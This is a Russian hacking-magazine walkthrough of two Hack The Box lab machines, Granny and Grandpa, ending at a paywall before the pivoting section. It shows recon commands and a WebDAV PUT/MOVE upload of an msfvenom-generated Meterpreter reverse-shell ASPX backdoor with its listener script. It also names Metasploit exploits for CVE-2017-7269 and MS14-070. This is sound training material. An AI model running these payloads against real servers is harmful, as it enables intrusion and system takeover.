Следующая новость
Предыдущая новость

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

26.12.2019 15:42
Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

Содержание статьи

  • Granny
  • Разведка
  • Веб
  • Шелл от имени NT AUTHORITYNETWORK SERVICE
  • Шелл от имени NT AUTHORITYSYSTEM
  • Grandpa
  • Разведка
  • Веб
  • Pivoting
  • Подготовка
  • Точка опоры
  • SOCKS-сервер с помощью Metasploit
  • Зомби-прокси
  • Реверсивный SSH-туннель
  • Реверсивный проброс портов
  • Проброс портов до локального сервиса

Умение пользоваться техникой pivoting — проброса трафика к жертве (и обратно) через промежуточные хосты — жизненно важный скилл для этичного хакера, он пригодится при тестировании на проникновение любой корпоративной сетки. В этой статье мы превратим прохождение двух несложных виртуалок с Hack The Box в полезную шпаргалку по проксированию соединений во время пентеста.

На заре становления Hack The Box как онлайн-площадки для тренировки вайтхетов в списке машин значились две виртуалки: Grandpa (IP: 10.10.10.14) и Granny (IP: 10.10.10.15). Обе эти машины нацелены на эксплуатацию уязвимостей WebDAV (набора дополнений для HTTP), и стратегии захвата их root-флагов практически не отличаются друг от друга.

Поэтому, чтобы разнообразить прохождения, мы сначала быстро рассмотрим, как можно взломать каждый из хостов по отдельности, а после этого превратим один из них в шлюз, через который атакуем второй хост.

Granny

Первой мы будем проходить виртуалку Granny. Эта машина достаточно проста (рейтинг сложности — 3,4 балла из 10), однако, как по мне, она максимально приближена к случаям из реальной жизни (по крайней мере там, где не следят за обновлениями ПО). Недаром именно такие тачки часто попадаются на сертификации OSCP в лайтовой ценовой категории.

Hack The Box — Granny

Разведка

Для начала сканируем порты и исследуем найденные сервисы.

Nmap

Сканирование Nmap я провожу в два этапа: поверхностное (только SYN-пакеты, без скриптов) и точечное по найденным портам (с задействованием скриптового движка NSE и определением версий сервисов).

root@kali:~# nmap -n -Pn -oA nmap/granny-initial 10.10.10.15
root@kali:~# cat nmap/granny-initial.nmap
...
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...

Видим только один открытый порт — 80-й, веб. Узнаем, кто там живет.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/granny-version 10.10.10.15 -p80
root@kali:~# cat nmap/granny-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 18:04:11 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_ Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

Итак, что у нас есть? Веб-сервер Microsoft IIS, версия 6.0. Если спросить Google, что он знает об этой ревизии IIS, то он сдаст «мелкомягких» с потрохами: Windows Server 2003.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Узнаем версию Windows по версии веб-сервера IIS

Информации об архитектуре Windows у нас нет, поэтому пока будем считать, что это x86, ибо они были более распространены в свое время. Также скрипт http-webdav-scan.nse оповестил нас об установленном наборе HTTP-расширений WebDAV. В общем, все намекает на то, что нам суждено отправиться на исследование веба.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

WWW

Если параметры, передаваемые сканеру, кажутся неочевидными, рекомендую обратиться к прохождению машины CTF — там они описаны более подробно.

Веб

Изучим 80-й порт с разных углов: от простого браузера до специальных утилит для работы с WebDAV.

Общие сведения

На главной странице веб-сервера (http://10.10.10.15/) — заглушка.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
http://10.10.10.15:80/

Браузер оказался немногословен, поэтому постараемся расширить список наших знаний о системе заголовками HTTP-хедеров.

root@kali:~# curl -I 10.10.10.15
HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://10.10.10.15/iisstart.htm
Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept-Ranges: bytes
ETag: "05b3daec0d9c21:348"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 21:51:01 GMT

В заголовках ожидаемо присутствует информация о том, что используется ASP.NET. Держи в голове две базовые схемы, когда речь заходит о стеке технологий веб-разработки:

  • LAMP = Linux + Apache + MySQL + PHP
  • WISA = Windows + IIS + SQL Server + ASP.NET

В нашем случае, так как речь идет о Windows, платформа ASP.NET выступает в роли альтернативы PHP. А это значит, что именно этот компонент стека будет средой для создания полезной нагрузки бэкдора, и было бы неплохо найти способ доставки на сервер файлов с расширением asp/aspx.

WebDAV

Надстройки WebDAV привносят дополнительные методы в дефолтный набор HTTP-запросов. Один из них — метод MOVE, который позволяет перемещать (грубо говоря, переименовывать) файлы на сервере. Идея нашего злодеяния довольно проста: загрузить на веб-сервер легитимный файл и переименовать его в исполняемый, изменив расширение на asp или aspx. Таким образом мы обойдем черный список из типов файлов, которые нельзя было загрузить изначально. Эта уловка стара как мир, а в основе ее лежит небезопасная настройка веб-сервера (OSVDB-397), доверяющая метод PUT кому угодно.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

INFO

Для классификации угрозы безопасности я воспользовался нотацией OSVDB. OSVDB (Open Sourced Vulnerability Database) — опенсорсная база данных уязвимостей, которая в апреле 2016 года прекратила свое существование. Однако здесь нам на помощь пришел агрегатор ИБ-контента Vulners, который впитал в себя, в частности, и эту базу данных. Подробнее почитать о нем можно в статье «Vulners — Гугл для хакера. Как устроен лучший поисковик по уязвимостям и как им пользоваться».

Для взаимодействия с WebDAV есть несколько удобных инструментов командной строки, которыми мы и воспользуемся.

Сначала исследуем состояние безопасности с помощью davtest. К сожалению, эта утилита не позволяет указать прокси-сервер, чтобы посмотреть, какие именно запросы были отправлены, поэтому мы пустимся на хитрость: запустим Burp Suite, перейдем на вкладку Proxy → Options и добавим еще один листенер 10.10.10.15:80 на интерфейс loopback.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Настройка дополнительного листенера в Burp Suite

Теперь я могу натравить davtest на localhost точно так же, как на 10.10.10.15, и все запросы полетят через проксю Burp.

root@kali:~# davtest -rand evilhacker -url localhost
********************************************************
Testing DAV connection
OPEN SUCCEED: localhost
********************************************************
NOTE Random string for this session: evilhacker
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT aspx FAIL
PUT php FAIL
PUT cgi FAIL
PUT jhtml FAIL
PUT html FAIL
PUT asp FAIL
PUT txt FAIL
PUT cfm FAIL
PUT pl FAIL
PUT shtml FAIL
PUT jsp FAIL

********************************************************

Несмотря на то что, по мнению davtest, все попытки загрузить какой-либо файл на сервер провалились, мы можем открыть историю Burp и посмотреть, что же на самом деле произошло.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
История HTTP-запросов Burp Suite

Как видно из скриншота, разные запросы PUT получили разные ответы веб-сервера:

  • при попытке загрузить файл с расширением aspx — категорический запрет (403);
  • для файлов .asp, .cgi, .shtml — неопределенное поведение (404, не уверен, почему IIS выбрал именно эту ошибку);
  • для всего остального — конфликт загрузки (409).

Последняя ошибка привлекла мое внимание, потому что встречается она не так часто и связана в основном с конфликтами версией загружаемого и существующего на сервере файлов.

«Этой ошибке здесь не место», — подумал я и посмотрел внимательнее на тело запроса загрузки простого текстового файла.

PUT /localhost/davtest_evilhacker.txt HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: close Host: localhost:80 User-Agent: DAV.pm/v0.49 Content-Length: 19  TXT put via davtest 

Вся проблема в том, что davtest попытался загрузить эти файлы в несуществующий каталог /localhost. Еще раз открыв историю HTTP, я увидел запрос MKCOL на создание директории, который также провалился с ошибкой 409. Выглядел он так.

MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: close Host: localhost:80 User-Agent: DAV.pm/v0.49 Content-Length: 0 

Как нетрудно догадаться, проблема заключается в попытке создать вложенный каталог /DavTestDir_evilhacker внутри несуществующего родителя /localhost. Не знаю, умеет ли так делать WebDAV в принципе (смотреть спецификацию было лень; может, в комментариях подскажут), но, если попробовать создать одноуровневую директорию /localhost, она успешно появится, и все встанет на свои места.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Создание каталога /localhost в Burp Suite
Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Загрузка текстового файла в каталог /localhost в Burp Suite

После этого текстовый файл успешно загрузился, а это означает, что наш план в силе и можно приступать к генерации полезной нагрузки.

Шелл от имени NT AUTHORITYNETWORK SERVICE

Теперь у тебя есть несколько вариантов выбора полезной нагрузки, и все зависит только от конечной цели твоего проникновения в систему.

  • Например, если ты точно знаешь, где лежит то, что тебе нужно, и для доступа хватит базовых привилегий в системе, то можно ограничиться простым веб-шеллом, взаимодействовать с которым можно прямо из браузера.
  • Если же тебе нужно внимательнее осмотреться на хосте, тогда твоим выбором может стать тот же самый веб-шелл в связке с пейлоадом на PowerShell, что в итоге дарует тебе реверс-шелл.
  • Ну а если твоя цель — полный захват контроля над тачкой с эскалацией привилегий до админа, тогда Meterpreter — твой путь.

Конечно, мы выберем последний вариант.

Генерация пейлоада

С помощью msfvenom создадим бэкдор с полезной нагрузкой Meterpreter для 32-битной версии Windows в формате aspx.

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform win LHOST=10.10.14.10 LPORT=31337 -f aspx > meterpreter/m.aspx

Далее я создам скрипт автозапуска слушателя Metasploit, чтобы не вводить команды каждый раз вручную в консоли MSF.

## meterpreter/l.rc use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST tun0 set LPORT 31337 set ExitOnSession false exploit -j -z 

cadaver

В Kali есть инструмент с жутковатым названием cadaver (то есть «труп») — это консольный WebDAV-клиент, который облегчает взаимодействие с WebDAV из командной строки.

Я скопирую сгенерированный в msfvenom бэкдор в текстовый файл m.txt, загружу его на сервер и переименую в m.aspx в интерактивной сессии cadaver.

root@kali:~# cp meterpreter/m.aspx m.txt
root@kali:~# cadaver http://10.10.10.15
dav:/> put m.txt
dav:/> move m.txt m.aspx

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Загрузка и перемещение бэкдора с помощью cadaver

Теперь можно поднимать слушателя Metasploit и запускать сам файл m.aspx на сервере (просто обратиться к нему из браузера).

root@kali:~# msfconsole -qr meterpreter/l.rc

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Запуск листенера Metasploit и получение сессии Meterpreter

И вот у нас уже есть сессия Meterpreter от имени NT AUTHORITYNETWORK SERVICE.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

INFO

К слову, все это можно было проделать одним кликом — модуль exploit/windows/iis/iis_webdav_upload_asp для Metasploit автоматизирует весь процесс.

Шелл от имени NT AUTHORITYSYSTEM

Далее дело техники: запустим советчик по локальным уязвимостям и выберем наугад первый попавшийся эксплоит — благо тачка старая и выбор велик.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Поиск доступных локальных эксплоитов (ВМ Granny)

После минутного ожидания 29 уязвимостей были проверены, и семь из них подошли с высокой вероятностью.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Повышение привилегий с помощью MS14-070 (ВМ Granny)

Я выбрал MS14-070 — уязвимость виндового стека TCP/IP. Повышение привилегий с помощью Metasploit заняло считаные секунды, и я получил привилегированный шелл.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

INFO

Магия Metasploit — это, конечно, круто, однако за кажущейся простотой часто скрываются довольно нетривиальные пассы с WinAPI. Например, на форуме Hack The Box люди часто практикуются с повышением привилегий без помощи Meterpreter.

Если заспавнить шелл и спросить whoami, сервер ответит, что ты все еще обладаешь правами не выше NETWORK SERVICE. Происходит это из-за того, что пейлоад Meterpreter все еще инжектирован в первый процесс, который мы заарканили до повышения привилегий. Для того чтобы получить права SYSTEM из оболочки cmd, достаточно мигрировать вредоносный процесс в процесс с соответствующими привилегиями.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Who am I?

Я выбрал cidaemon.exe с PID 3964 в качестве носителя и подселился к нему.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Миграция в процесс cidaemon.exe (3964)

Теперь права отображаются корректно.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Я спрошу снова: Who am I?

Дело за малым: найти и вытащить хеши (флаги) юзера и администратора. Сделаю я это с помощью Meterpreter — а именно модулей search и download.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Получение флагов (ВМ Granny)

Напоследок посмотрим на разрядность ОС.

meterpreter > sysinfo
Computer : GRANNY
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows

Судя по сведениям sysinfo, наше предположение о 32-битной природе Windows подтвердилось.

На этом виртуалку Granny считаю пройденной.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Трофей

Переходим к Grandpa.

Grandpa

Эту тачку (рейтинг сложности — 4,5 балла из 10) я пробегу быстрее и не буду так подробно останавливаться на каждом пункте.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Hack The Box — Grandpa

Разведка

Nmap

Так же в два этапа просканируем Nmap.

root@kali:~# nmap -n -Pn -oA nmap/grandpa-initial 10.10.10.14
root@kali:~# cat nmap/grandpa-initial.nmap
...
Host is up (0.064s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...

Результаты повторяются точь-в-точь.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/grandpa-version 10.10.10.14 -p80
root@kali:~# cat nmap/grandpa-version.nmap
...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 16:49:20 GMT
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...

Веб

На главной странице веб-сайта висит такая же заглушка.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
http://10.10.10.14:80/

WebDAV

Единственное существенное отличие между двумя тачками, пожалуй, в типах брешей WebDAV. На этой машине доступ к загрузке файлов на сервер с помощью PUT запрещен для любых типов файлов. Однако, помня о номере версии IIS, я воспользовался нашумевшим в свое время эксплоитом для CVE-2017-7269. Основывается он на ошибке функции ScStoragePathFromUrl, которая содержит уязвимость переполнения буфера в строке одного из хедеров запроса PROPFIND (из арсенала WebDAV).

Оригинальный PoC доступен на GitHub, однако я пользовался встроенным модулем Metasploit — iis_webdav_scstoragepathfromurl.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Эксплуатация переполнения в ScStoragePathFromUrl с помощью Metasploit

После получения сессии Meterpreter ты можешь столкнуться с ошибкой прав доступа. Причины возникновения этого бага схожи с теми, что мы наблюдали в аналогичной ситуации при прохождении Granny: пейлоаду тесно в процессе, в котором он сидит.

Чтобы выйти из этого положения, я снова вызову Process List и мигрирую в тот процесс, который обладает нужными мне полномочиями.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Миграция в процесс w3wp.exe (2408)

Кстати, чтобы узнать, в какой процесс был проведен первичный инжект, можно воспользоваться командой netstat до миграции и посмотреть список активных сетевых соединений.

C:windowssystem32inetsrv>netstat -vb

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Определение текущего процесса Meterpreter

Эскалация привилегий

Здесь все идентично предыдущей тачке: для повышения привилегий я буду использовать тот же сплоит.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Поиск доступных локальных эксплоитов (ВМ Grandpa)

Для порядка я запустил поиск локальных уязвимостей, и список оказался точно таким же, как и у виртуалки Granny.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Повышение привилегий с помощью MS14-070 (ВМ Grandpa)

Выбрали ms14_070_tcpip_ioctl, повысили привилегии и получили свою сессию.

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Получение флагов (ВМ Grandpa)

Забираем награду, и Grandpa пройден!

Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box
Трофей

Pivoting

Ну а теперь, собственно, то, ради чего мы сегодня собрались! Я продемонстрирую некоторые базовые принципы проброса соединений с помощью Metasploit.

Обозначим условия задачи. Дано:

  1. Локальная ВМ атакующего с Kali Linux (IP: 10.10.14.30), которая имеет прямой доступ к ВМ Granny (IP: 10.10.10.15).
  2. ВМ Granny, которая имеет прямой доступ к ВМ Grandpa (IP: 10.10.10.14).
  3. У ВМ атакующего нет прямого доступа к ВМ Grandpa — входящие и исходящие соединения блокируются с помощью iptables.

Требуется:

  1. Установить соединение между ВМ атакующего и ВМ Grandpa для сторонних утилит (вне контекста сессии Metasploit).
  2. Установить соединение между ВМ атакующего и ВМ Grandpa в контексте сессии Metasploit и получить максимальные права на хосте Grandpa.

Решение...

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

1 год

4990 р.

1 месяц

720 р.

Я уже участник «Xakep.ru»

Источник

Последние новости